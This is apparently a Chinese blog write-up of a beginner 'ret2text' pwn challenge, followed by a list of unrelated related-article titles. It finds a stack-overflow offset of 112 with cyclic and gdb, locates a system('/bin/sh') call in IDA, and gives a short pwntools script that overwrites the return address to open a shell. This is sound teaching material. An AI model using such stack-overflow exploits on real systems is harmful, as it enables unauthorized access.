https://pan.baidu.com/s/1qy5cyX-RJDyl3wxOXypHtA
dx5d

  • 输入【./ret2text】运行程序,发现让你输入,那么我们先随便输入个【123456】,程序结束了。

  • 用ida打开这个程序,发现有‘system’函数,还可以输入,那么就可以利用栈溢出获取系统权限。

  • 首先先多输入点,看看什么时候溢出,这里用cyclic有序字符串。

  • 输入【cyclic 200】生成200个有序字符。

  • 用gdb打开ret2text,输入【gdb ret2text】。

  • 输入【run】运行程序,程序让我们输入,则把刚生成的200个有序字符串输入,发现报错,那么就是溢出了。

  • 观察可知溢出的地方是‘0x62616164’。

  • 那么怎么知道到底有多少个数字溢出了呢?

  • 看他报错的意思是(跳转到0x62616164)这步出错了,意思就是没有0x62616164这个位置,那这个位置是从哪来的呢,就是我们200个有序字符其中最先溢出的第部分。那么只要知道这个0x62616164是我们输入的第几个,就可以数出来它前头有几个数字了。根据ASCII码表,又根据‘0x’是16进制的意思,可以查表得出这串数字转换成字母是‘baad’。接下来就要知道cyclic的顺序了,稍微观察一下就可以知道cyclic的规则(4个数4个数有规则),轻易的就可以数出它的位置。

  • 当然还有更简单的方法,前文也说了cyclic是有序字符串,自然有一个子函数可以查,“cyclic -l”代表着查询你所给的4bit字符前有几个字母。

  • 输入【cyclic -l 0x62616164】,得到112,说明‘baad’前有112个字母,那么这112个字母就是填充空栈的所需量了。接下来多的就会溢出。

  • 那么我们就要把我们要他跳转的位置放在112个字母后让他溢出,就可以实现跳转。

  • 在ida里找到system函数,但是点进去所显示的语句所在的行数,不是system函数真正的行数,而是引用system函数的语句所在的行数。

  • 看到system和↑或者↓在同一行,点击↑或者↓,点了几次点不了了,就找到了system函数真正的位置。

  • 发现system函数的值是‘/bin/sh’,运行这个system函数加这个值就可以获得系统权限。
  • 记录下所要跳转到的这一行,写脚本,将其放在112个填充物的后面。
from pwn import *sh=process('./ret2text')
elf=ELF('./ret2text')
target=0x0804863A
#即/bin/sh所在位置
sh.sendline('a'*112+p32(target))
#至此就获得了系统权限
sh.interactive()
#打开交互页面

退出gdb,输入【python exp.py ret2text】让程序运行我们的脚本。
终于,我们获得了系统权限。

pwn,获取系统权限,入门题,cyclic相关推荐

  1. Android如何通过shareduserid获取系统权限

    2019独角兽企业重金招聘Python工程师标准>>> android会为每个apk进程分配一个单独的空间(比如只能访问/data/data/自己包名下面的文件),一般情况下apk之 ...

  2. delphi7 获取dll的类_上传quot;定时任务quot;获取系统权限

    原文来自SecIN社区-作者:tkswifty 相关背景 文件上传是系统中比较常见的业务需求,例如上传头像.简历.报表等.但是如果在业务实现过程中没有考虑相关的安全问题(例如没有对用户上传的文件类型做 ...

  3. 搜狗输入法漏洞获取系统权限0day再述

    测试环境: OS: windows 7 ultimate 搜狗输入法 4.3 正式版 漏洞过程描述: 当windows加载了搜狗输入法后(登录系统后),锁定计算机(cltr alt del).切换为搜 ...

  4. android apk获取权限,Android apk 获取系统权限的方式

    Android系统中,权限等级分为 ["normal" | "dangerous"| "signature" | "signatu ...

  5. Linux Glibc幽灵漏洞允许黑客远程获取系统权限

    幽灵漏洞是Linux glibc库上出现的一个严重的安全问题,他可以让攻击者在不了解系统的任何情况下远程获取操作系统的控制权限.目前他的CVE编号为CVE-2015-0235. 什么是glibc gl ...

  6. android6.0动态获取系统权限

    介绍:Google公司在android API23之后为了保护用的隐私和敏感信息,一些权限必须要用户同意才能使用 1.不仅仅静态注册还需要动态获取的权限 如何获取呢? 2.获取的两种方式 1)可参考时 ...

  7. 如何使Android应用程序获取系统权限来修改系统时间

    在 android 的API中有提供 SystemClock.setCurrentTimeMillis()函数来修改系统时间,可惜无论你怎么调用这个函数都是没用的,无论模拟器还是真机,在logcat中 ...

  8. Android系统权限和root权限的获取以及应用权限列表

    Android权限说明 Android系统是运行在Linux内核上的,Android与Linux分别有自己的一套严格的安全及权限机制. 一.linux文件系统上的权限 -rwxr-x--x syste ...

  9. MSSQL差异备份取系统权限

    MSSQL差异备份取系统权限 TEAM里的内部资料放久了,现在不放出来,迟早会有人发掘出来的!既然如此就拿出来大家分享吧! MSSQL差异备份获取webshell 几乎人人皆知,那么我们可以利用差异备 ...

最新文章

  1. 【深度学习】深度学习三十问!一位算法工程师经历30+场CV面试后总结的常见问题合集(含答案)...
  2. ClickHouse【环境搭建 02】设置用户密码的两种方式(明文+SHA256)及新用户添加及只读模式 Cannot execute query in readonly mode 问题解决
  3. 如何迁移 Flink 任务到实时计算
  4. 努力一下,还是可以成为技术美术(TA)的
  5. 分页控件 实战 Post篇
  6. Linux 命令之 rpm -- RPM 软件包的管理工具
  7. t3 深入Tornado
  8. 注入点批量收集工具_如何批量处理短视频,剪辑片头片尾、加图片水印
  9. 如何解决Macbook pro无法写入U盘的问题
  10. Scrapy+eChart自动爬取生成网络安全词云
  11. 由ViewStateException: The client disconnected想到的
  12. 2176. 统计数组中相等且可以被整除的数对
  13. [BZOJ 1070] [SCOI2007] 修车
  14. pmp考试中应该注意的点是什么?
  15. SPSS教程——进行卡方检验的相关步骤
  16. 硬件设计基础--电路仿真EDA软件
  17. vector初始化与清空
  18. 游戏开发关卡设计(16)
  19. 【Three.js】十二、three.js摄像机控件
  20. Matlab二元函数图像绘制

热门文章

  1. 为什么快手不能左右滑了_为什么有的手机不支持快手滑动切换
  2. C# Dev ComboBoxEdit如何取值
  3. [问题已处理]-排查wsl崩溃的方法
  4. 热点的ap频段哪个快,Ap频段2.4和5.0哪个快
  5. DCHP协议的工作流程简述
  6. Java程序员职业规划如何做?发展方向有哪些?
  7. 《精通QTP——自动化测试技术领航》—第1章1.2节帮助文档(HELP)-QTP的说明书...
  8. 一念逍遥服务器维护,《一念逍遥》2021年6月4日更新公告 6月4日更新了什么_一念逍遥...
  9. linux启动盘进入命令行,CDLinuxU盘启动命令行到图形界面
  10. 怎样用HTML做一份精美的简历(html5+css)